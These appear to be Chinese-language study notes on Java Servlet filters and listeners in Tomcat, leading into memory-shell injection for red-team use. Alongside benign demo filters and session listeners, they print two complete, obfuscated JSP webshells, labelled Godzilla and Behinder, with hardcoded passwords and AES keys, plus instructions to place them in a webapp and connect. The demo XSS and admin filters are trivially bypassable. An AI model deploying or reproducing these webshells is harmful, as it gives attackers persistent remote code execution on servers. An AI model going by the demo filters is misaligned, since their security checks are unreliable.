Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
listennet(监听器)-》filter(过滤器)-》servlet(代码层)
内存马不到代码层,直接跳过了,连到数据库
创建测试项目,HttpServlet爆红问题https://blog.csdn.net/bachfuck/article/details/109728214
TestServlet:
package com.example.filterdemo.filter.servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/test")public class TestServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");PrintWriter out = resp.getWriter();out.println(code);out.close();}}
XssFilter:
package com.example.filterdemo.filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import java.io.IOException;@WebFilter("/test")public class XssFilter implements Filter {@Override//中间件开启以后就开始运行public void init(FilterConfig filterConfig) throws ServletException {System.out.println("xss开启过滤");}@Override//中间件关闭就自动运行public void destroy() {System.out.println("xss销毁过滤");}@Override//doFilter路由触发方法public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("xss正在过滤");//过滤放行filterChain.doFilter(servletRequest,servletResponse);}}
一开始就已经开启了监听器,
等我们访问的时候给到了执行结果(触发了init)
当我们停止tomcat的时候,停止过滤
过滤没有写过滤内容,在放行代码前进行一个判断
System.out.println("xss正在过滤");//Xss过滤,有payload过滤,没有放行HttpServletRequest requset = (HttpServletRequest) servletRequest;requset.getParameter("code");String code = requset.getParameter("code");if (!code.contains("<script>")){//没有payload//过滤放行filterChain.doFilter(servletRequest,servletResponse);}else{//存在payloadSystem.out.println("可能存在xss攻击");}
package com.example.filterdemo.filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@WebFilter("/test")public class XssFilter implements Filter {@Override//中间件开启以后就开始运行public void init(FilterConfig filterConfig) throws ServletException {System.out.println("xss开启过滤");}@Override//中间件关闭就自动运行public void destroy() {System.out.println("xss销毁过滤");}@Override//doFilter路由触发方法public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("xss正在过滤");//Xss过滤,有payload过滤,没有放行HttpServletRequest requset = (HttpServletRequest) servletRequest;requset.getParameter("code");String code = requset.getParameter("code");if (!code.contains("<script>")){//没有payload//过滤放行filterChain.doFilter(servletRequest,servletResponse);}else{//存在payloadSystem.out.println("可能存在xss攻击");}}}
init-》dofilter-》destroy,这样的一个执行流程
请求的一个过程
Admin权限判断
AdminServlet:
package com.example.filterdemo.servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/admin")public class AdminServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("欢迎来到管理员界面");}}
AdminFilter:
package com.example.filterdemo.filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.annotation.WebServlet;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@WebFilter("/admin")public class AdminFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("admin身份检测开启");}@Overridepublic void destroy() {System.out.println("admin身份检测销毁");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {//检测cookie过滤System.out.println("admin身份检测开始检测");//获取cookieHttpServletRequest request = (HttpServletRequest) servletRequest;Cookie[] cookies= request.getCookies();for (Cookie c:cookies){String cName = c.getName(); //获取cookie名String cValue = c.getValue(); //获取cookie值System.out.println(cName);System.out.println(cValue);if (cName.contains("user") && cValue.contains("admin")){filterChain.doFilter(servletRequest,servletResponse);}else{System.out.println("非admin用户");}}}}
Config.jsp(哥斯拉🐎)
//密码:Tas9er 密钥:lfNRX4 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 写入时去掉此行Hello Administrator!Welcome To Tas9er Godzilla JSP Console!<%! String govsb_uV9q = "369cb3b8becea21a";String govsb_UkbXDu = "Tas9er";class govsb_3 extends /*edusb_suAZvRiR3*/ClassLoader {public govsb_3(ClassLoader govsb_rQic) {super/*edusb_a*/(govsb_rQic);}public Class govsb_xzEW3IMM(byte[] govsb_COjEHWGNDzzH3i) {return super./*edusb_uEIxv*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_F1xtlRscJ*/(govsb_COjEHWGNDzzH3i, 668449-668449, govsb_COjEHWGNDzzH3i.length);}}public byte[] govsb_ESlIWvCZu0U(byte[] govsb_VfrYhvrOtnH, boolean govsb_NPPoT6my) {try {j\u0061\u0076\u0061\u0078./*edusb_X7VbSt*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_L1tz5WVey = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_6RCTNhviQxTG*/("AES");govsb_L1tz5WVey.init(govsb_NPPoT6my?668449/668449:668449/668449+668449/668449,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_ozuS2*/SecretKeySpec/*edusb_F7GjyBjf8Ge*/(govsb_uV9q.getBytes(), "AES"));return govsb_L1tz5WVey.doFinal/*edusb_yyi5ieb*/(govsb_VfrYhvrOtnH);} catch (Exception e) {return null;}}%><%try {byte[] govsb_LTOAYraLi2x5ira = java.util.Base64./*edusb_DfK3*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_cGN*/decode(request.getParameter(govsb_UkbXDu));govsb_LTOAYraLi2x5ira = govsb_ESlIWvCZu0U(govsb_LTOAYraLi2x5ira,false);if (session.getAttribute/*edusb_ShWHuEfLJqtYEQ*/("payload") == null) {session.setAttribute("payload", new govsb_3(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_xy*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_aaS*/.govsb_xzEW3IMM(govsb_LTOAYraLi2x5ira));} else {request.setAttribute("parameters", govsb_LTOAYraLi2x5ira);java.io.ByteArrayOutputStream govsb_Bt = new java.io./*edusb_GqA*/ByteArrayOutputStream();Object govsb_rqB9gzq17qI = /*edusb_tacM9KaUMtutNpY*/((Class) session.getAttribute("payload"))./*edusb_BhHR*//*edusb_R*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_z9hk*/;govsb_rqB9gzq17qI.equals(govsb_Bt);govsb_rqB9gzq17qI.equals(pageContext);response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(668449-668449, 16));govsb_rqB9gzq17qI.toString();response.getWriter().write(java.util.Base64/*edusb_RxRJZOonjPE*/.getEncoder()/*edusb_Mpw0*/.encodeToString(govsb_ESlIWvCZu0U(govsb_Bt.toByteArray(),true)));response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(16));}} catch (Exception e) {}%>
将上边的jsp放到webapp即可
内存🐎
MemoryShell
FilterShell
getALLfilter(获取所有内存马)
filtersInfo:filterName: com.example.filterdemo.filter.AdminFilter servletNames: [] urlPatterns: [/admin]filterName: com.example.filterdemo.filter.XssFilter servletNames: [] urlPatterns: [/test]filterName: Tomcat WebSocket (JSR356) Filter servletNames: [] urlPatterns: [/*]//1,2 项目本身 3为中间件
addfilterShell(新增内存马)
add完毕后,再get一下。会发现新增一个监听器。
常规功能是在Serlvet(代码层)实现木马链接,而这个注入的内存马是在Filter的,前边的Listener也可以注入内存马
removeFilter(移除内存马)
Config1.jsp(冰蝎🐎)
<%! 密码Tas9er 写入时去掉此行%>Hello Administrator!WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %><%!class tas9erCGIjbGbQt extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {tas9erCGIjbGbQt(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9erYK16oSMMl) {super(tas9erYK16oSMMl);}public Class tas9er1HtPfdAKI(byte[] tas9ernh7MjwAtK) {return super.d\uuuuuuuuu0065fineClass(tas9ernh7MjwAtK,0,tas9ernh7MjwAtK.length);}}%><%out.println("Random Garbage Data:");Random tas9ersoV3r1IWc = new Random();int tas9er0RebXw3Z6 = tas9ersoV3r1IWc.nextInt(1234);int tas9erPlYa7lKMN = tas9ersoV3r1IWc.nextInt(5678);int tas9erYQ243vUep = tas9ersoV3r1IWc.nextInt(1357);int tas9erdxK2eskj9 = tas9ersoV3r1IWc.nextInt(2468);out.println(tas9er0RebXw3Z6+","+tas9erPlYa7lKMN+","+tas9erYQ243vUep+","+tas9erdxK2eskj9);String[] tas9erjLEELM31f = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};String tas9erw3S5Bp9gL = tas9erjLEELM31f[1] + tas9erjLEELM31f[3] + tas9erjLEELM31f[5] + tas9erjLEELM31f[7];if (request.getMethod().equals(tas9erw3S5Bp9gL)) {String tas9erN5lxMHHQL = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));session.setAttribute("u", tas9erN5lxMHHQL);Cipher tas9erxywTO5Nub = Cipher.getInstance("AES");tas9erxywTO5Nub.init(((tas9er0RebXw3Z6 * tas9erPlYa7lKMN + tas9erYQ243vUep - tas9erdxK2eskj9) * 0) + 3 - 1, new SecretKeySpec(tas9erN5lxMHHQL.getBytes(), "AES"));new tas9erCGIjbGbQt(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er1HtPfdAKI(tas9erxywTO5Nub.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
将上边的jsp放到webapp即可
启动tomcat运行,访问Config.jsp,使用冰蝎连接该地址,默认密码为 Tas9er。右键也可以注入内存🐎
listen 监听动作,filter是触发动作
参考:https://blog.csdn.net/qq_52797170/article/details/124023760-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件-监听域对象的属性发生修改的事件-监听在事件发生前、发生后做一些必要的处理1、创建监听器2、监听器内置方法3、监听器触发流程@WebListener<listener>.......</listener>
Servlet->CreatSession DelSession
CreatSession
package com.example.listendemo.Serlvet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/cs")public class CreatSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("servlet开始创建session");//创建sessionreq.getSession();}}
DelSession
package com.example.listendemo.Serlvet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/ds")public class DelSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("servlet销毁session");//销毁sessionreq.getSession().invalidate();}}
listener->ListenSession
package com.example.listendemo.listener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpSessionEvent;import javax.servlet.http.HttpSessionListener;@WebListenerpublic class ListenSession implements HttpSessionListener {@Overridepublic void sessionCreated(HttpSessionEvent se) {System.out.println("Listen监听器监听到session创建");}@Overridepublic void sessionDestroyed(HttpSessionEvent se) {System.out.println("Listen监听器监听到session销毁");}}
在启动时,会默认拿到一个session
访问cs会创建一个session
访问ds会销毁session
如果多次访问cs,servlet会执行多次,listen只会执行一次监听。
代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等